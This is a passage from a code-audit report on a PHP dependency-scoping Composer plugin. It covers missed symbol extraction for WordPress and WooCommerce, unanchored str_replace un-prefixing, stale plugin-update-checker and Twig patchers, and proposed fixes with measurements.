| 6 / 6 | 0 | + +Namespaces: 0 missed in every source. + +The 18 misses, with their exact AST enclosing chain: + +``` +WP_Block_Cloner Function_(render_block_core_block) > If_ > Else_ > If_ > Class_ + sources/wordpress/wp-includes/blocks/block.php:93 +wxr_cdata (+13 wxr_*) Function_(export_wp) > Function_(wxr_cdata) + sources/wordpress/wp-admin/includes/export.php:245 +lowercase_octets Function_(redirect_canonical) > If_ > If_ > Function_ + sources/wordpress/wp-includes/canonical.php:789 +wp_handle_upload_error Function_(_wp_handle_upload) > If_ > Function_ + sources/wordpress/wp-admin/includes/file.php:807 +_sort_priority_callback If_ > Function_(woocommerce_sort_product_tabs) > If_ > Function_ + sources/plugin-woocommerce/includes/wc-template-functions.php:2398 +filter_created_pages Function_(wc_update_560_create_refund_returns_page) > Function_ + sources/plugin-woocommerce/includes/wc-update-functions.php:2382 +``` + +Every single miss has a `Function_` in its chain. This is exactly the bug that +commit `a59d577` ("extract constants defined inside function bodies") fixed for +constants — via a `NodeVisitor` that walks the whole AST — but the fix was never +extended to classes and functions. + +**Impact:** a scoped dependency that calls e.g. `wxr_cdata()` or +`function_exists('wp_handle_upload_error')` gets the call prefixed to +`Prefix\wxr_cdata()` and fatals at runtime. Narrow in practice (these are obscure +internal helpers) but the extraction is simply incorrect, and the same defect will +silently swallow more important symbols as WP/Woo evolve. + +**Fix:** replace `resolve()` entirely with a `NodeVisitorAbstract` that tracks the +current namespace and emits on `enterNode`, exactly like `ConstantCollector`: + +```php +class SymbolCollector extends NodeVisitorAbstract { + public array $symbols = [ + 'exclude-namespaces' => [], 'exclude-classes' => [], + 'exclude-functions' => [], 'exclude-constants' => [], + ]; + private ?string $namespace = null; + + public function enterNode( Node $node ) { + if ( $node instanceof Node\Stmt\Namespace_ ) { + // A `namespace { }` block has a null name — that's the global namespace. + $this->namespace = $node->name?->toString(); + if ( null !== $this->namespace ) { + $this->symbols['exclude-namespaces'][] = $this->namespace; + } + return null; + } + // Symbols inside a namespace are already covered by exclude-namespaces. + if ( null !== $this->namespace ) { + return null; + } + if ( $node instanceof Node\Stmt\Class_ + || $node instanceof Node\Stmt\Interface_ + || $node instanceof Node\Stmt\Trait_ + || $node instanceof Node\Stmt\Enum_ ) { + if ( null !== $node->name ) { // skip anonymous classes + $this->symbols['exclude-classes'][] = $node->name->name; + } + } elseif ( $node instanceof Node\Stmt\Function_ ) { + $this->symbols['exclude-functions'][] = $node->name->name; + } elseif ( $node instanceof Node\Stmt\Const_ ) { + foreach ( $node->consts as $const ) { + $this->symbols['exclude-constants'][] = $const->name->name; + } + } + return null; + } +} +``` + +This one class subsumes F2, F6, F10 and F14 and deletes ~30 lines. + +**Benefit:** correct, and structurally immune to new nesting shapes. +**Downside:** an `Enum_` in the global namespace now lands in `exclude-classes` +(correct, but a new entry); anonymous classes must be guarded (`$node->name` is +`null`) — the current top-level-only code never hit that case. + +### Namespaced declarations *are* covered — verified against php-scoper + +The extractor deliberately records only the namespace name and not the classes +inside it. That is correct. `php-scoper.phar`'s +`src/Symbol/NamespaceRegistry.php` matches with: + +```php +if ( '' === $excludedNamespaceName || str_contains( $normalizedNamespaceName, $excludedNamespaceName ) ) { + return true; +} +``` + +It is a **case-insensitive substring** match, not even a prefix match — so +`exclude-namespaces: ['Automattic\WooCommerce']` covers every sub-namespace. + +Two consequences worth recording: + +- **F20a (Low):** 65/78 WordPress and **370/374** WooCommerce namespace entries are + descendants of another entry in the same list and are pure noise. Collapsing to + roots would cut `symbols/woocommerce.php` substantially with zero behaviour change. +- **Over-exclusion hazard (Low–Medium):** because the match is *substring*, short + entries are greedy. The shortest entries currently shipped are `Sodium` (6), + `WP_CLI` (6), `Avifinfo` (8), `SimplePie` (9). A scoped dependency whose namespace + merely *contains* `Sodium` anywhere (e.g. `Acme\SodiumBridge`) will silently not be + prefixed. Nothing to fix on our side — it is php-scoper's semantics — but it argues + for keeping the namespace list as short and specific as possible, which the + collapse above also achieves. + +### F6 — top-level `const` is never collected (Medium, S) + +`Node\Stmt\Const_` appears in no branch of `resolve()`, and `ConstantCollector` +(`scripts/extract-symbols.php:21-39`) only matches `define()` calls. + +Measured: **97 global constants** in 2 WordPress files are missing: + +- `wp-includes/sodium_compat/lib/php72compat_const.php` — 89 consts + (`SODIUM_LIBRARY_VERSION`, `SODIUM_BASE64_VARIANT_ORIGINAL`, + `SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES`, …) +- `wp-includes/sodium_compat/lib/php84compat_const.php` — 8 consts + (`SODIUM_CRYPTO_AEAD_AEGIS128L_*`, `SODIUM_CRYPTO_AEAD_AEGIS256_*`) + +Verified absent from the shipped list: + +``` +SODIUM_LIBRARY_VERSION in exclude-constants? NO +SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES in exclude-constants? NO +SODIUM_BASE64_VARIANT_ORIGINAL in exclude-constants? NO +ABSPATH in exclude-constants? YES (define(), so caught) +``` + +WooCommerce, action-scheduler and wp-cli have zero top-level `const`. + +**Impact:** a scoped dependency that references `SODIUM_*` (any libsodium-using +crypto library that supports the polyfill) gets the constant prefixed and fatals. +Real, if narrow. +**Fix:** covered by the `SymbolCollector` above. + +### F10 — `If_` ignores `else`/`elseif`; other block statements never walked (Medium, S) + +`scripts/extract-symbols.php:60-69` iterates `$node->stmts` only. `$node->else` +(`Node\Stmt\Else_`) and `$node->elseifs` are dropped, and `Try_`, `Catch_`, +`Switch_`, `While_`, `Do_`, `For_`, `Foreach_`, `Declare_` and `Block` have no +branch at all. + +**Measured impact today: 0 additional symbols.** Every one of the 18 misses in F2 is +inside a function body, so fixing `else` handling alone recovers nothing on WP 7.0.2 / +Woo 10.9.4. This is a latent gap, not a live one — but `WP_Block_Cloner`'s chain +(`… > If_ > Else_ > If_ > Class_`) shows WordPress does write this shape, and a +top-level occurrence would be silently dropped. `Declare_` matters specifically: +`declare(strict_types=1) { … }` block form would hide an entire file. + +**Fix:** the visitor in F2 makes all of these irrelevant. + +### F14 — `namespace { }` would fatal the extractor (Low, S) + +`scripts/extract-symbols.php:53` does `join( '\\', $node->name->getParts() )`. +For a braced global-namespace block (`namespace { ... }`) `$node->name` is `null` +→ `Error: Call to a member function getParts() on null`, and since the `try/catch` +at `:112-132` only catches `PhpParser\Error`, the whole extraction run dies. + +Measured: **0 occurrences** in all five sources today. Latent only. +**Fix:** `$node->name?->toString()` (in the F2 visitor). + +### F13 — dynamic `define()` not collected (Low, S) + +`ConstantCollector` requires `$node->args[0]->value instanceof Node\Scalar\String_`. +Measured non-literal first arguments: + +| source | count | locations | +|---|---|---| +| wordpress | 3 | `wp-includes/ID3/module.audio-video.asf.php:51` (`Variable`), `sodium_compat/lib/php84compat.php:24` (`InterpolatedString`), `sodium_compat/lib/php72compat.php:107` (`InterpolatedString`) | +| woocommerce | 3 | `includes/class-woocommerce.php:594`, `includes/wc-core-functions.php:77`, `src/Internal/Admin/FeaturePlugin.php:234` (all `Variable`) | + +All six are loop/variable-driven; two of the WP ones are `define("SODIUM_$name", …)` +inside a `foreach` over the `ParagonIE_Sodium_Compat` constants — i.e. they mint the +*same* `SODIUM_*` names as F6, so fixing F6 covers them incidentally. + +No `@define` usage exists in any source (checked). The remaining four are genuinely +un-analysable statically. + +**Fix:** low value. If desired, resolve `Node\Scalar\InterpolatedString` whose parts +are all literal, and log the rest to stderr so regressions are visible. Otherwise +document the limitation. + +### F12 — `class_alias()` targets not collected (Low, S) + +Measured `class_alias()` calls: **37 in WordPress** (e.g. `wp-includes/class-phpmailer.php:18-19`, +`SimplePie/src/Category.php:126`, `SimplePie/src/SimplePie.php:3465`), **8 in +WooCommerce** (`src/Api/Infrastructure/Schema/aliases.php:18,23`, +`src/StoreApi/deprecated.php:73`, …), **1 in wp-cli**. + +Most alias *to* an already-excluded class (`PHPMailer\PHPMailer\PHPMailer` → +`PHPMailer`), so the alias name is usually already covered by the namespace or class +list. But the aliases in `deprecated.php` / `aliases.php` create global class names +that exist only at runtime and appear nowhere as a `class` declaration. + +**Fix:** in the visitor, also match `class_alias` `FuncCall`s and push +`$args[1]` (the alias name) into `exclude-classes` when it is a literal string. +**Benefit:** closes a class of runtime-only symbols. **Downside:** none material. + +### F18 — wp-cli test-suite symbols leak in (Low, S) + +`get_files()` (`scripts/extract-symbols.php:80-105`) filters only `/vendor/` and +`/wp-content/`. Measured symbols that come **exclusively** from test-ish directories: + +| source | test-ish files | test-only symbols | +|---|---|---| +| wordpress | 0 | 0 | +| woocommerce | 0 | 0 | +| action-scheduler | 0 | 0 | +| **wp-cli** | 23 | **28** | + +Examples: `exclude-namespaces: WP_CLI\Tests\Traverser`, `WP_CLI\Tests\CSV`, +`exclude-classes: WpOrgApiTest, InflectorTest, SynopsisParserTest, ProcessTest, +UtilsTest, Mock_Requests_Transport, FileCacheTest, MockRegularLogger`. + +These are never loaded in a WordPress request, so excluding them is pure +over-exclusion — and `WP_CLI\Tests\CSV` is a short substring entry (see the +substring-matching hazard above). + +**Fix:** add `tests?/`, `spec/`, `features/`, `.github/` to the skip regex. +**Downside:** none. + +### F19 — parser pinned to PHP 8.1 (Low, S) + +`scripts/extract-symbols.php:45`: + +```php +$parser = ( new ParserFactory() )->createForVersion( \PhpParser\PhpVersion::fromString("8.1.0") ); +``` + +I ran every source file through both an 8.1.0 and an 8.4.0 parser: + +``` +=== parse @ PHP 8.1.0 === === parse @ PHP 8.4.0 === +wordpress 1295 0 wordpress 1295 0 +woocommerce 3529 0 woocommerce 3529 0 +action-scheduler 95 0 action-scheduler 95 0 +wp-cli 182 0 wp-cli 182 0 +plugin-update-checker 39 0 plugin-update-checker 39 0 +``` + +**Zero parse failures at either version.** The pin is currently harmless. It is +still wrong in principle: the package requires `php: ^8.1` but the extractor is a +dev-only script run by maintainers, and WordPress/WooCommerce will eventually ship +syntax (property hooks, asymmetric visibility) that an 8.1 parser rejects — and +`extract_symbols()` swallows `PhpParser\Error` with a printed message +(`:130-132`), so a future failure will scroll past in a wall of output and produce a +silently truncated symbol list. + +**Fix:** use `PhpVersion::getNewestSupported()`, and make parse failures fatal +(collect them and `exit(1)` at the end with a count). **Benefit:** fail-fast at the +boundary. **Downside:** none — this script is maintainer-only. + +--- + +## 2. Reproducibility & provenance (F8, Medium, M) + +Current state: + +- `symbols/*.php` open with ` + array ( + 0 => 'trackback_response', + 1 => '_get_cron_lock', + 2 => 'do_activate_header', +``` + +The order is `RecursiveDirectoryIterator` order — filesystem-dependent, not sorted +(verified: `exclude-functions sorted? NO`). Two things follow: + +1. Regenerating on a different filesystem reshuffles thousands of lines for no + semantic change. +2. Inserting one symbol early renumbers every subsequent key, so a one-symbol change + can rewrite 4 000+ lines. The file is one-entry-per-line (5 345 lines for 5 332 + symbols), so it *could* diff beautifully — the explicit keys are what ruin it. + +### Proposal + +1. **Emit a provenance header.** Have `extract_symbols()` take the package name and + read the installed version from `vendor/composer/installed.json` (all five sources + are composer packages, including `johnpbloch/wordpress`): + + ```php + + */ + return array( ... ); + ``` + + Cost: ~15 lines. Makes every future PR reviewable. + +2. **Sort and reindex before export.** Replace `:137-144` with: + + ```php + foreach ( $symbols as $exclusion => $values ) { + $values = array_values( array_unique( $values ) ); + sort( $values, SORT_STRING ); + $symbols[ $exclusion ] = $values; + } + ksort( $symbols ); + ``` + + and export list-style (one quoted string per line, no `N =>`) with a tiny custom + printer rather than `var_export()`. Measured: deduping + sorting alone shrinks the + generated temp config from 303 980 → 299 019 bytes (1.6 %); dropping the integer + keys is worth far more on disk and turns regeneration diffs into pure + additions/removals. **This is the single highest-value change in this section.** + +3. **Pin the sources.** Replace the `"*"` constraints with exact versions + (`"johnpbloch/wordpress": "7.0.2"`) and **commit `composer.lock`** (remove + `/composer.lock` from `.gitignore`). This is a `composer-plugin`, not a library — + its lock file is not imposed on consumers, and it is the only record of what the + symbols were built from. `/sources/` should stay ignored (it is 4 800 files of + third-party code that composer can restore). + +4. **CI regeneration job.** A scheduled GitHub Actions workflow that: + `composer update johnpbloch/wordpress wpackagist-plugin/woocommerce … --no-interaction` + → `composer extract` → if `git diff --quiet symbols/` fails, open a PR titled + "Update symbols for WP x.y.z / WC a.b.c" with the version deltas in the body. + With (2) in place the PR diff is readable; with (1) the header change states the + versions. **Effort: M.** **Benefit:** symbol lists stop silently rotting between + manual "Upgrade" commits (the git log shows these happen ad hoc: `b00d523`, + `4abe3a6`, `0255f59`). + +5. **Add a smoke test** asserting a handful of canary symbols are present + (`wpdb`, `WP_Query`, `ABSPATH`, `WC_Product`, `Automattic\WooCommerce`) so a + catastrophically truncated regeneration cannot be merged. + +--- + +## 3. Output format & load cost (F7) + +**Measured — the load cost is a non-issue.** Requiring all four default symbol files +and `array_merge_recursive`-ing them, in a fresh PHP process with opcache: + +``` +1.15 ms | peak 2.00 MB (3 consecutive runs: 1.15, 1.15, 1.10 ms) +var_export of merged config: 0.55 ms, 303 937 bytes +merged array real memory: ~0.4 MB, peak (real) 4.00 MB +``` + +Alternatives, measured: + +| format | load+merge | on-disk | +|---|---|---| +| PHP `require` (current, opcached) | **1.15 ms** | 302 971 B | +| `json_decode(file_get_contents())` | 0.62 ms | 254 011 B | + +JSON is ~0.5 ms faster and 16 % smaller, but this runs **once per scoping run** — a +run that then shells out to `php-scoper.phar` and a full `composer install`, i.e. +tens of seconds. Saving 0.5 ms is noise, and PHP files get opcached while JSON does +not (relevant if this ever runs in a warm process). + +**Recommendation: do not change the storage format.** Keep `require`d PHP arrays. +The one format change worth making is the sort/reindex in F8.2, and that is for diff +quality, not speed. Splitting into one file per symbol type or per package adds file +count and `require` calls for no measurable gain. + +### F7 — the real cost is the patcher, not the load (Medium, S) + +`config/scoper.inc.php:79-103` runs **inside the patcher closure**, i.e. once for +**every file php-scoper processes**: + +```php +usort( $config['exclude-classes'], function ( $a, $b ) { // :79 — 1 219 elements + return strlen( $b ) - strlen( $a ); +} ); + +$count = 0; +$searches = array(); +$replacements = array(); + +foreach ( $config['exclude-classes'] as $symbol ) { // :87 — builds 2 438 needles + ... +} +foreach ( $config['exclude-namespaces'] as $symbol ) { // :95 — builds 954 more + ... +} + +$content = str_replace( $searches, $replacements, $content, $count ); // :103 — 3 392 needles +``` + +`$config` is captured by value, so the array is copied and re-sorted on every +invocation, and the 3 392-entry needle/replacement tables are rebuilt from scratch +every time — even though they are identical for every file. + +Measured (full loop: `usort` + build + `str_replace` on a ~4 KB file): + +``` +exclude-classes entries=1219 exclude-namespaces=477 +build needles: 0.45 ms, needle count=3392 +str_replace with 3392 needles on 4KB file: 0.99 ms +full per-file cost: 1.33 ms => for 5 000 vendor files: 6.7 s +``` + +**Fix:** hoist the sort and table construction out of the closure — build +`$searches`/`$replacements` once at the top of `scoper.inc.php` and `use` them: + +```php +$exclude_classes = $config['exclude-classes'] ?? array(); +usort( $exclude_classes, static fn( $a, $b ) => strlen( $b ) - strlen( $a ) ); + +$searches = $replacements = array(); +foreach ( array_merge( $exclude_classes, $config['exclude-namespaces'] ?? array() ) as $symbol ) { + $searches[] = "\\$prefix\\$symbol"; + $replacements[] = "\\$symbol"; + $searches[] = "use $prefix\\$symbol"; + $replacements[] = "use $symbol"; +} + +'patchers' => array( + function ( string $filePath, string $prefix, string $content ) use ( $searches, $replacements ): string { + ... + return str_replace( $searches, $replacements, $content ); + }, +), +``` + +**Benefit:** ~0.34 ms/file saved (≈25 %), ~1.7 s on a 5 000-file vendor tree, and the +code reads better. **Downside:** none. **Note:** `$count` at `:83`/`:103` is written +and never read — dead. + +### F1 — the patcher un-prefixes unrelated symbols (**High**, S) + +`config/scoper.inc.php:87-103` builds needles like `\{$prefix}\WP` and +`use {$prefix}\WP` and feeds them to `str_replace`, which matches **anywhere in the +string with no right-hand boundary**. The `usort` at `:79` only guarantees that a +longer *excluded* name wins over a shorter one — it does nothing for symbols that +are not in the list at all. + +The shortest shipped `exclude-classes` entries are `WP` (2), `PO` (2), `MO` (2), +`ftp` (3), `wpdb` (4), `POP3` (4), `PclZip` (6), `getID3` (6), `Walker` (6), +`Snoopy` (6), `WC_Tax` (6), `WC_CLI` (6). + +Reproduced with the real merged config and `$prefix = 'MyPrefix'`: + +``` +new \MyPrefix\WPSEO_Utils(); => new \WPSEO_Utils(); ← WRONG +use MyPrefix\WPBakery\Thing; => use WPBakery\Thing; ← WRONG +new \MyPrefix\POStuff(); => new \POStuff(); ← WRONG +new \MyPrefix\ftp_client(); => new \ftp_client(); ← WRONG +new \MyPrefix\MOnolog(); => new \MOnolog(); ← WRONG +new \MyPrefix\WP_Post(); => new \WP_Post(); ← correct +use MyPrefix\Monolog\Logger; => use MyPrefix\Monolog\Logger; ← correct +``` + +Any scoped dependency with a class or namespace whose fully-qualified name *starts +with* one of the 1 219 class names or 477 namespace names gets silently +de-prefixed. The result is a `Class "WPSEO_Utils" not found` fatal at runtime, in +the user's plugin, with no hint that the scoper caused it. + +**Fix:** anchor the replacement. Since the needles are already sorted longest-first, +the cheapest correct form is a single `preg_replace_callback` over +`(?:use\s+|\\)?{$prefix}\\([A-Za-z_][A-Za-z0-9_\\]*)` that looks the captured symbol +up in a hash set (`array_flip` of the exclusion lists, case-insensitively — php-scoper +itself matches case-insensitively, see `SymbolRegistry::normalizeNames()`), and only +strips the prefix on an exact hit. That is also *faster* than 3 392 `str_replace` +needles. + +**Benefit:** removes an entire class of silent, hard-to-diagnose runtime fatals. +**Downside:** a regex pass is a rewrite of the hottest part of the patcher and needs +tests. **Severity: High** — it is a correctness bug that scales with how many +dependencies the user scopes. + +**Design note.** This whole block exists to undo prefixing that php-scoper already +declined to do via `exclude-classes`/`exclude-namespaces`. Before rewriting it, it is +worth establishing *why* it is needed at all — php-scoper 0.18 handles exclusions +natively, and this may be compensating for something long since fixed upstream. If it +can be deleted, F1 and F7 both vanish. + +--- + +## 4. Duplication between the lists (F20, Low, S) + +`Plugin::createScoperConfig()` (`src/Plugin.php:223-256`) merges with +`array_merge_recursive` and **never de-duplicates**, so the generated +`scoper.config.php` ships duplicates: + +| key | entries | unique | dupes | +|---|---|---|---| +| `exclude-functions` | 5 233 | 5 213 | 20 | +| `exclude-classes` | 1 219 | 1 147 | **72** | +| `exclude-constants` | 568 | 554 | 14 | +| `exclude-namespaces` | 477 | 464 | 13 | +| **total** | **7 497** | **7 378** | **119 (1.6 %)** | + +Pairwise overlaps: + +``` +action-scheduler ^ woocommerce exclude-classes = 71 (ActionScheduler_*) +action-scheduler ^ woocommerce exclude-functions = 17 (as_schedule_*, as_enqueue_*) +action-scheduler ^ woocommerce exclude-namespaces = 3 (Action_Scheduler\*) +wordpress ^ wp-cli exclude-namespaces = 10 (WpOrg\Requests\*) +wordpress ^ wp-cli exclude-constants = 13 (ABSPATH, WP_DEBUG, …) +wordpress ^ wp-cli exclude-classes = 1 (Requests) +woocommerce ^ wordpress exclude-functions = 3 (str_contains, str_starts_with, str_ends_with) +woocommerce ^ wordpress exclude-constants = 1 (WP_POST_REVISIONS) +``` + +The action-scheduler/woocommerce overlap is complete (all 91 action-scheduler symbols +are in the Woo list) because WooCommerce bundles it at +`sources/plugin-woocommerce/packages/action-scheduler` — confirmed. So the default +`globals` list ships `action-scheduler` redundantly whenever `woocommerce` is on. + +**Impact is small**: 1.6 % of a 300 KB file, and it costs ~0.02 ms in the merge. But +it inflates the F7 needle table by 119 entries × 2, and duplicates in +`exclude-functions` are noise for anyone reading the generated config. + +**Fix:** one line in `createScoperConfig()` after the merges: + +```php +foreach ( $config as $key => $value ) { + if ( is_array( $value ) && str_starts_with( $key, 'exclude-' ) ) { + $config[ $key ] = array_values( array_unique( $value ) ); + } +} +``` + +**Benefit:** clean generated config, smaller needle table. **Downside:** none. +(The `sort`+`array_values` in F8.2 makes this redundant at the source, but keeping it +here also protects user-supplied lists once F11 lands.) + +--- + +## 5. `plugin-update-checker` (F3, F4, F5 — High) + +This is the most broken corner of the subsystem. Four independent problems: + +### F4 — `symbols/plugin-update-checker.php` is stale *and* uses the wrong key (High, S) + +The file lists 33 class names, all of the form `Puc_v4_Factory`, `Puc_v4p11_Factory`, +`Puc_v4p11_UpdateChecker`, `Puc_v4p11_Vcs_GitHubApi`, … — the flat, underscore-named +PUC **v4** API. + +The installed package is **v5.7**, which is fully namespaced: + +``` +$ grep -rh "^namespace" vendor/yahnis-elsts/plugin-update-checker --include='*.php' | sort -u +namespace YahnisElsts\PluginUpdateChecker\v5; +namespace YahnisElsts\PluginUpdateChecker\v5p7; +namespace YahnisElsts\PluginUpdateChecker\v5p7\DebugBar; +namespace YahnisElsts\PluginUpdateChecker\v5p7\Plugin; +namespace YahnisElsts\PluginUpdateChecker\v5p7\Theme; +namespace YahnisElsts\PluginUpdateChecker\v5p7\Vcs; + +$ ls vendor/yahnis-elsts/plugin-update-checker/Puc/ +v5 v5p7 +``` + +Running my ground-truth extractor over the installed package: **0 global classes, +0 global functions, 6 namespaces**. Every one of the 33 shipped names is dead. + +Worse, the file uses `'expose-classes'`, while every other symbol file uses +`'exclude-classes'`. These are opposite operations in php-scoper: *expose* means +"prefix it, then register a global alias"; *exclude* means "don't prefix it at all". +Nothing else in this repo reads `expose-classes` (grep: only this file). + +And it would not work even if the names were right: `scripts/postinstall.php` +explicitly strips the exposure aliases from the generated autoloader — + +```php +// fix scoper autoload - comment exposed classes and functions as we don't want to expose anything +$scoper_autoload = preg_replace('/^humbug_phpscoper_expose_.*;$/m', '// $0 // commented by WPify Scoper', $scoper_autoload ); +``` + +So `expose-*` is a no-op by design in this tool. + +Finally, the regeneration line is commented out at `scripts/extract-symbols.php:153`: + +```php +//extract_symbols( __DIR__ . '/../vendor/yahnis-elsts/plugin-update-checker', 'vendor', … ); +``` + +which is why it never picked up the v4 → v5 migration. + +**Fix:** either (a) uncomment `:153`, switch the emitted key to `exclude-namespaces` +(which is what the v5 extraction naturally produces), and regenerate; or (b) delete +`symbols/plugin-update-checker.php`, the branch at `src/Plugin.php:230-235`, and the +two patchers, and let users add PUC through the extensibility mechanism in F11. + +I'd recommend **(b)**. PUC is one vendor library among thousands; special-casing it +in a general-purpose tool is exactly the coupling F11 exists to remove. Note also +that excluding PUC entirely is usually *wrong* — two plugins shipping unscoped PUC v5 +is the collision PUC's own `v5p7` namespace versioning already solves. + +### F3 — the PUC patchers are stale and one is actively fatal (High, S) + +`config/scoper.inc.php:48-50`: + +```php +if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker/Puc/v4p11/UpdateChecker.php' ) !== false ) { + $content = str_replace( "namespace $prefix;", "namespace $prefix;\n\nuse WP_Error;", $content ); +} +``` + +`Puc/v4p11/` **does not exist** (`ls` → `No such file or directory`). Dead no-op. +It is also no longer needed: `Puc/v5p7/UpdateChecker.php:5` already declares +`use WP_Error;`. + +`config/scoper.inc.php:75-77` is worse: + +```php +if ( strpos( $filePath, 'yahnis-elsts/plugin-update-checker' ) !== false ) { + $content = str_replace( '$checkerClass = $type', '$checkerClass = "'. $prefix . '\\\\".$type', $content ); +} +``` + +The file guard is version-agnostic, so it **still fires on v5.7**. In +`Puc/v5p7/PucFactory.php:99` the source is: + +```php +$checkerClass = $type . '\\UpdateChecker'; +``` + +`'$checkerClass = $type'` is a prefix of that line, so `str_replace` rewrites it to: + +```php +$checkerClass = "MyPrefix\\".$type . '\\UpdateChecker'; // "MyPrefix\Plugin\UpdateChecker" +``` + +Two lines later (`:106`) the value is fed to `getCompatibleClassVersion()`: + +```php +protected static function getCompatibleClassVersion($class) { // :286 + if ( isset(self::$classVersions[$class][self::$latestCompatibleVersion]) ) { + return self::$classVersions[$class][self::$latestCompatibleVersion]; + } + return null; +} +``` + +`self::$classVersions` is keyed by the **unprefixed, unversioned** general class name +registered from `load-v5p7.php:29` via `PucFactory::addVersion($pucGeneralClass, …)` +(i.e. `Plugin\UpdateChecker`). `MyPrefix\Plugin\UpdateChecker` is not a key → +`getCompatibleClassVersion()` returns `null` → `:107-118` fires +`trigger_error( …, E_USER_ERROR )`, which is **fatal**. + +So a user who scopes PUC v5 today gets a hard fatal from `PucFactory::buildUpdateChecker()`. + +**Fix:** delete both PUC patchers (`:48-50` and `:75-77`). The v4 one is dead; the v5 +one is harmful. **Benefit:** removes a fatal. **Downside:** anyone still on PUC v4 +loses the `$checkerClass` fix — acceptable, v4 is years EOL and the current lists +already don't work for them. + +### F5 — `globals: ["plugin-update-checker"]` crashes (Medium, S) + +`src/Plugin.php:230-235` merges `plugin-update-checker.php` into `$config`. That file +contributes only `expose-classes`, so if it is the *only* selected global, `$config` +has no `exclude-classes` key. `config/scoper.inc.php:79` then does: + +```php +usort( $config['exclude-classes'], … ); +``` + +Reproduced: + +``` +keys: prefix, exclude-constants, expose-classes +FATAL at scoper.inc.php:79 => TypeError: usort(): Argument #1 ($array) must be of type array, null given +``` + +`:95` (`$config['exclude-namespaces']`) has the same problem. + +Note this combination is not reachable from the documented config: `plugin-update-checker` +is **not** in the default `globals` at `src/Plugin.php:60` +(`array( 'wordpress', 'woocommerce', 'action-scheduler', 'wp-cli' )`) and is not +listed in the README's example — yet `createScoperConfig()` handles it. So the only +way to reach it is to guess the name, and doing so fatals. + +**Fix:** default the keys at the top of `scoper.inc.php`: + +```php +$config += array( + 'exclude-classes' => array(), + 'exclude-namespaces' => array(), + 'exclude-functions' => array(), + 'exclude-constants' => array(), +); +``` + +**Benefit:** fail-safe for any `globals` subset, and required once F11 lets users +supply arbitrary lists. **Downside:** none. + +--- + +## 6. `config/scoper.inc.php` patchers — status of each (F9, F15) + +Verified against the current upstream source of each package: + +| # | line | target | status | +|---|---|---|---| +| 1 | `:40-42` | `guzzlehttp/guzzle/.../CurlFactory.php` — `stream_for($sink)` → `Utils::streamFor()` | **Dead no-op.** Guzzle 7 already has `$sink = \GuzzleHttp\Psr7\Utils::streamFor($sink);`. The literal `stream_for($sink)` no longer exists. Also note the replacement **drops the `$sink` argument** — if it ever did match, it would produce broken code. | +| 2 | `:44-46` | `php-di/php-di/src/Compiler/Template.php` — strip `namespace $prefix;` | **Still required.** The upstream file is a PHP *template* with no namespace of its own; php-scoper injects one and breaks compiled-container generation. Keep. | +| 3 | `:48-50` | PUC `Puc/v4p11/UpdateChecker.php` — add `use WP_Error;` | **Dead no-op** (path gone; v5p7 already imports it). Delete — see F3. | +| 4 | `:52-55` | `twig/src/Node/ModuleNode.php` | **Half live.** Line `:53` (`write("use Twig` → `write("use {$prefix}\Twig`) is **still needed** — upstream `ModuleNode::compileClassHeader()` emits `->write("use Twig\Environment;\n")` etc. as *string literals* php-scoper cannot see into. Line `:54` injects `use function {$prefix}\twig_escape_filter;` — **dead and wrong**, see below. | +| 5 | `:57-65` | `/vendor/twig/twig/` — `twig_escape_filter_is_safe`, `twig_get_attribute(`, `twig_ensure_traversable(`, `new TwigFilter('x','twig_…')`, `$compiler->raw('twig_…(` | **Dead.** See F9. | +| 6 | `:67-69` | `giggsey/libphonenumber-for-php` — un-prefix `array_merge` | Plausible no-op; `expose-global-functions => false` means php-scoper shouldn't prefix internal functions anyway. Not verified against current upstream — flag for follow-up. | +| 7 | `:71-73` | `league/oauth2-client` — prefix the literal `League\OAuth2\Client\Grant` | **Still required.** `GrantFactory::registerDefaultGrant()` builds `$class = 'League\\OAuth2\\Client\\Grant\\' . $class;` as a string literal. Keep. | +| 8 | `:75-77` | PUC — `$checkerClass = $type` | **Actively fatal on v5.** Delete — see F3. | + +### F9 — the Twig `twig_*` patchers target removed functions (Medium, S) + +Twig 3.x moved every `twig_*` global function to static methods and registers filters +with array callables. Verified against `twigphp/Twig` `3.x`: + +- `src/Node/ModuleNode.php` contains **no** reference to `twig_escape_filter`, + `twig_escape_filter_is_safe`, `twig_get_attribute` or `twig_ensure_traversable`. +- `src/Extension/CoreExtension.php` contains **none of those functions** either, and + registers filters as `new TwigFilter('format', [self::class, 'sprintf'])` / + `new TwigFilter('url_encode', [self::class, 'urlencode'])` — array callables, never + `new TwigFilter('x', 'twig_…')` string callbacks. + +So: + +- `:54` injects `use function {$prefix}\twig_escape_filter;` into every compiled + template header for a function that does not exist. Harmless only because a + `use function` for a missing function is not itself an error — but it is noise + written into generated code, and the `'Template;\n\n'` anchor no longer matches + upstream's `use Twig\Template;\n` / `use Twig\TemplateWrapper;\n` sequence anyway. +- `:58`, `:59`, `:60`, `:61`, `:62` are all no-ops on Twig 3.x. +- `:63-64` (`'\\Twig\\` → `'\\{$prefix}\\Twig\\`) remains relevant for string-literal + class references and should be kept. + +**Fix:** delete `:54` and `:58-62`; keep `:53` and `:63-64`. **Benefit:** removes +six regex/`str_replace` passes per Twig file and stops injecting a bogus import. +**Downside:** breaks Twig 2.x / Twig <3.9 users — acceptable; Twig 2 is EOL. + +### Design: should a general-purpose tool hardcode a per-package patcher list? + +No. `config/scoper.inc.php:39-106` is a single 68-line closure with eight hardcoded +`strpos($filePath, 'vendor/foo/bar')` branches for packages that have nothing to do +with WordPress. Every one of them is dead weight for a user who doesn't use that +package, and — as F3 shows — a stale branch can go from "harmless" to "fatal" when +the target package changes shape, with nobody noticing because there is no test and +no version guard. + +There *is* an extension point (`config/scoper.custom.php` via +`customize_php_scoper_config()`, `:7-17`), but it is all-or-nothing: a user who wants +to add one patcher receives the whole config array and must merge by hand. + +**Proposal (Effort: M):** a patcher registry keyed by package name, with an optional +version constraint: + +``` +config/patchers/ + php-di.php + twig.php + league-oauth2-client.php + libphonenumber.php +``` + +Each returns: + +```php +return array( + 'package' => 'php-di/php-di', + 'constraint' => '^7.0', // checked against composer.lock + 'patch' => function ( string $filePath, string $prefix, string $content ): string { … }, +); +``` + +`scoper.inc.php` globs `config/patchers/*.php` plus a user-supplied +`extra.wpify-scoper.patchers` directory, resolves each `package` against the scoped +`composer.lock`, and only registers patchers whose package is actually installed and +whose constraint matches. **Benefits:** dead patchers cost nothing at runtime 